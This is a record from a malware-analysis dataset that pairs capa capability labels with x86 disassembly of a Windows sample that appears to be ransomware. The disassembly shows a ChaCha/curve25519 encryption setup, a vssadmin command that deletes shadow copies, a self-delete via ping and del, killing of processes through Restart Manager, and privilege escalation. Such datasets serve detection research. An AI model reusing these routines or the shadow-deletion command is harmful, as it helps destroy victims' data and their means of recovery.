joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 4], 1
mov esi, eax
mov dword [ebp - 0xc], esi
jle 0x40112b
push ebx
mov ebx, 1
jbe 0x40112a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
nop word [eax + eax]
push str._path
push dword [esi + ebx*4]
call edi
test eax, eax
jne 0x4010b2
mov eax, dword [esi + ebx*4 + 4]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax*2 + 2]
push esi
push 8
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x40109e
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x401080
push dword [ebp - 8]
mov dword [0x423284], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [ebp - 0xc]
jmp 0x40111f
push str._ratio
push dword [esi + ebx*4]
call edi
test eax, eax
jne 0x4010d3
push dword [esi + ebx*4 + 4]
call fcn.0040a2d9
add esp, 4
mov dword [0x4227f0], eax
jmp 0x40111f
push str._nomutex
push dword [esi + ebx*4]
call edi
test eax, eax
jne 0x4010ed
mov dword [0x423278], 1
jmp 0x40111f
push str._nonetdrive
push dword [esi + ebx*4]
call edi
test eax, eax
jne 0x401107
mov dword [0x423280], 1
jmp 0x40111f
push str._selfdel
push dword [esi + ebx*4]
call edi
test eax, eax
jne 0x40111f
mov dword [0x42327c], 1
inc ebx
cmp ebx, dword [ebp - 4]
jb 0x401040
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401130
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [ebx], 0x61707865
mov dword [ebx + 4], 0x3320646e
mov dword [ebx + 8], 0x79622d32
mov dword [ebx + 0xc], 0x6b206574
movzx esi, byte [edi + 3]
movzx eax, byte [edi + 2]
shl esi, 8
or esi, eax
movzx eax, byte [edi + 1]
shl esi, 8
or esi, eax
movzx eax, byte [edi]
shl esi, 8
or esi, eax
mov dword [ebx + 0x10], esi
movzx ecx, byte [edi + 7]
movzx eax, byte [edi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 4]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x14], ecx
movzx ecx, byte [edi + 0xb]
movzx eax, byte [edi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 8]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x18], ecx
movzx ecx, byte [edi + 0xf]
movzx eax, byte [edi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0xc]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x1c], ecx
movzx ecx, byte [edi + 0x13]
movzx eax, byte [edi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x20], ecx
movzx ecx, byte [edi + 0x17]
movzx eax, byte [edi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x24], ecx
movzx ecx, byte [edi + 0x1b]
movzx eax, byte [edi + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x18]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x28], ecx
movzx ecx, byte [edi + 0x1f]
movzx eax, byte [edi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x2c], ecx
mov dword [ebx + 0x34], 0
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x38], ecx
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
pop edi
or ecx, eax
mov dword [ebx + 0x80], 0x40
pop esi
mov dword [ebx + 0x3c], ecx
pop ebx
pop ebp
ret
Function at 0x404860
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0xcc]
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00402090
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x1b4]
call fcn.00403170
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x164]
call fcn.00403440
lea eax, [ebp - 0x164]
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x114]
call fcn.00401650
add esp, 0xc
lea ecx, [ebp - 0x114]
call fcn.00401b20
lea ecx, [ebp - 0x114]
call fcn.00401c00
movups xmm0, xmmword [ebp - 0x114]
lea edx, [ebp - 0x7c]
mov ecx, esi
movups xmmword [ebp - 0x7c], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [ebp - 0x6c], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [ebp - 0x5c], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [ebp - 0x4c], xmm0
movups xmm0, xmmword [ebp - 0xd4]
movups xmmword [ebp - 0x3c], xmm0
call fcn.00402390
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404950
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0x41f2c8
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x423288
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x4227f4], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x26
push str._r_n
push dword [0x4227f4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret
Function at 0x4049f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x1000
push 8
push dword [0x4236f4]
call edi
mov esi, eax
test esi, esi
jne 0x404a3c
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0x80
call ebx
push 0x1000
push 8
push dword [0x4236f4]
call edi
mov esi, eax
test esi, esi
je 0x404a20
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push 0x7e7
push esi
call dword [sym.imp.SHLWAPI.dll_wvnsprintfW]
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0xc]
movzx eax, word [ebp - 0x12]
push ecx
movzx ecx, word [ebp - 0xe]
push ecx
movzx ecx, word [ebp - 0x10]
push ecx
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
lea eax, [ebp - 0x9c]
push str.__hu__hu__hu__hu:_hu:_hu_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov edi, eax
push 0x423288
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
lea eax, [ebp - 8]
push eax
lea eax, [edi + edi]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x9c]
push eax
push dword [0x4227f4]
call edi
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebx + ebx]
push eax
push esi
push dword [0x4227f4]
call edi
push 0
lea eax, [ebp - 8]
push eax
push 4
push 0x41f318
push dword [0x4227f4]
call edi
push 0x423288
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
push 0
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404b80
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x423278], 0
jne 0x404bb2
push str.GlobalkasperMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x4236a0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404bb2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
ret
Function at 0x404c20
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push str.IsWow64Process
push str.kernel32
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x404c5f
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
je 0x404c6f
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0
push 0
push str._c_vssadmin.exe_delete_shadows__all__quiet
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push str.IsWow64Process
push str.kernel32
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x404cbb
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 4], 0
pop esi
je 0x404ccb
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
mov esp, ebp
pop ebp
ret

Function at 0x404d30
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
cmp dword [0x42327c], 0
je 0x404d8f
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x808]
push str._c_ping_127.0.0.1__n_4___nul__del___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x808]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esp, ebp
pop ebp
ret
Function at 0x404e80
Capabilities:
Create restart manager session
Enumerate processes that use resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
lea eax, [ebp - 0x68]
mov dword [ebp - 0x24], ecx
push eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
xor bl, bl
mov dword [ebp - 0x18], 0
push eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov byte [ebp - 1], bl
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x405013
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x40500a
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
cmp eax, 0xea
jne 0x40500a
push esi
imul esi, dword [ebp - 0x10], 0x29c
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 8
push dword [0x4236f4]
call edi
mov ebx, eax
mov dword [ebp - 0x20], ebx
test ebx, ebx
jne 0x404f42
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x4236f4]
call edi
mov ebx, eax
mov dword [ebp - 0x20], eax
test ebx, ebx
je 0x404f23
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x404ff6
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 8]
xor esi, esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], esi
test ecx, ecx
je 0x404ff6
mov edi, ebx
mov edx, dword [edi]
cmp edx, eax
je 0x404fe5
mov eax, dword [edi + 0x28c]
cmp eax, 4
je 0x404fe2
cmp eax, 0x3e8
je 0x404fe2
push edx
push 0
push 0x100001
mov byte [ebp - 2], 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x404fd9
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xbb8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
mov esi, dword [ebp - 0x1c]
sete al
jmp 0x404fdc
mov al, byte [ebp - 2]
add byte [ebp - 1], al
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
inc esi
add edi, 0x29c
mov dword [ebp - 0x1c], esi
cmp esi, ecx
jb 0x404f81
mov ebx, dword [ebp - 0x20]
push ebx
push 0
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, byte [ebp - 1]
pop edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4060b0
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
lea eax, [esp]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 5
push 0
push 0
push 0xffffffffffffffff
mov dword [0x4236ec], 5
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x4236e8], eax
test eax, eax
je 0x406222
mov eax, dword [0x4236ec]
lea esi, [eax*4]
push esi
push 8
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, eax
test edi, edi
jne 0x40612e
push 0x80
call ebx
push esi
push 8
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x406112
mov eax, dword [0x4236ec]
xor esi, esi
test eax, eax
je 0x406162
nop dword [eax]
push 0
push 0
push 0
push 0x405cb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + esi*4], eax
inc esi
mov eax, dword [0x4236ec]
cmp esi, eax
jb 0x406140
push eax
push str._lu_I_O_Workers_Created
call fcn.004049f0
mov eax, dword [0x423284]
add esp, 8
test eax, eax
je 0x406181
push eax
call fcn.00405470
jmp 0x406186
call fcn.00405a20
push str.Waiting_For_I_O_Workers
call fcn.004049f0
add esp, 4
push 0x300
call ebx
mov eax, dword [0x4236a4]
cmp dword [0x4236f0], eax
jne 0x406193
mov eax, dword [0x4236ec]
xor esi, esi
test eax, eax
je 0x4061d0
mov ebx, dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 0
push 0
push 0
push dword [0x4236e8]
call ebx
mov eax, dword [0x4236ec]
inc esi
cmp esi, eax
jb 0x4061b8
push 0xffffffffffffffff
push 1
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp dword [0x4236ec], esi
jbe 0x4061fe
nop dword [eax]
push dword [edi + esi*4]
call ebx
inc esi
cmp esi, dword [0x4236ec]
jb 0x4061f0
push edi
push 0
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [0x4236e8]
call ebx
push str.The_End_:L
call fcn.004049f0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406230
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [esp + 0x2c], str.SeDebugPrivilege
mov dword [esp + 0x30], str.SeRestorePrivilege
mov dword [esp + 0x34], str.SeBackupPrivilege
mov dword [esp + 0x38], str.SeTakeOwnershipPrivilege
mov dword [esp + 0x3c], str.SeAuditPrivilege
mov dword [esp + 0x40], str.SeSecurityPrivilege
mov dword [esp + 0x44], str.SeIncreaseBasePriorityPrivilege
lea eax, [esp + 0x10]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
test eax, eax
je 0x4062e8
lea eax, [esp + 0x14]
push eax
push dword [esp + esi*4 + 0x30]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4062e2
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
push 0
push 0
push 0x10
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x28]
push eax
push 0
push dword [esp + 0x24]
mov dword [esp + 0x34], 1
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x40], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x10]
call edi
inc esi
cmp esi, 7
jb 0x406282
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406300
Capabilities:
Hide graphical window

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
ret
Function at 0x406f58
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406f97
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406f97
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406f97
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406f97
cmp dword [ecx + 0x74], 0xe
jbe 0x406f97
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x418460
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41848d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41848d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40b4b2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40b4f1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40b4f1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40b4f1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40b4f1
cmp dword [ecx + 0x74], 0xe
jbe 0x40b4f1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42d1f0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.00435309
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x42d22f
sub eax, 1
je 0x42d22a
sub eax, 1
je 0x42d226
xor eax, eax
leave
ret
push 3
jmp 0x42d231
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x4515d5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x451614
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x451614
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x451614
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x451614
cmp dword [ecx + 0x74], 0xe
jbe 0x451614
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4693a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4693cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4693cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x473e7f
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0xc5a094]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0046ada9
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0046ada9
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x473ef6
cmp word [ecx], dx
je 0x473ef6
mov eax, dword [0xbe6a04]
push edi
dec eax
push eax
push 0xbe68f0
call fcn.0047406f
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x473f69
cmp word [eax], dx
je 0x473f69
mov eax, dword [edi]
test eax, eax
je 0x473f1a
cmp word [eax], dx
je 0x473f1a
lea eax, [ebp - 0x10]
push eax
call fcn.004740d6
jmp 0x473f23
lea eax, [ebp - 0x10]
push eax
call fcn.004743c5
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x473f93
mov eax, dword [0xbe68ec]
push dword [ebp - 0x14]
dec eax
push eax
push 0xbe65e0
call fcn.0047406f
add esp, 0xc
test al, al
je 0x473f93
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x473f5e
cmp word [eax], di
je 0x473f5e
lea eax, [ebp - 0x10]
push eax
call fcn.004740d6
pop ecx
jmp 0x473f95
lea eax, [ebp - 0x10]
push eax
call fcn.004743c5
jmp 0x473f5b
mov eax, dword [edi]
test eax, eax
je 0x473f80
cmp word [eax], dx
je 0x473f80
lea eax, [ebp - 0x10]
push eax
call fcn.004744f5
pop ecx
jmp 0x473f93
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x47405e
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00474601
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x47405e
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x47405e
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x47405e
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x473feb
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0046bfc6
test ebx, ebx
je 0x474059
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0046bfc6
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x47405e
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x47405e
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0047f6c4
add esp, 0x10
xor eax, eax
inc eax
jmp 0x474060
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004099e9
leave
ret
Function at 0x474707
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0046ada9
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x474776
cmp esi, dword [ebp - 4]
je 0x474771
cmp dword [ebp + 0xc], 0
je 0x474771
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x47474e
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004747d0
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x474778
xor eax, eax
inc eax
jmp 0x474778
xor eax, eax
pop edi
pop esi
leave
ret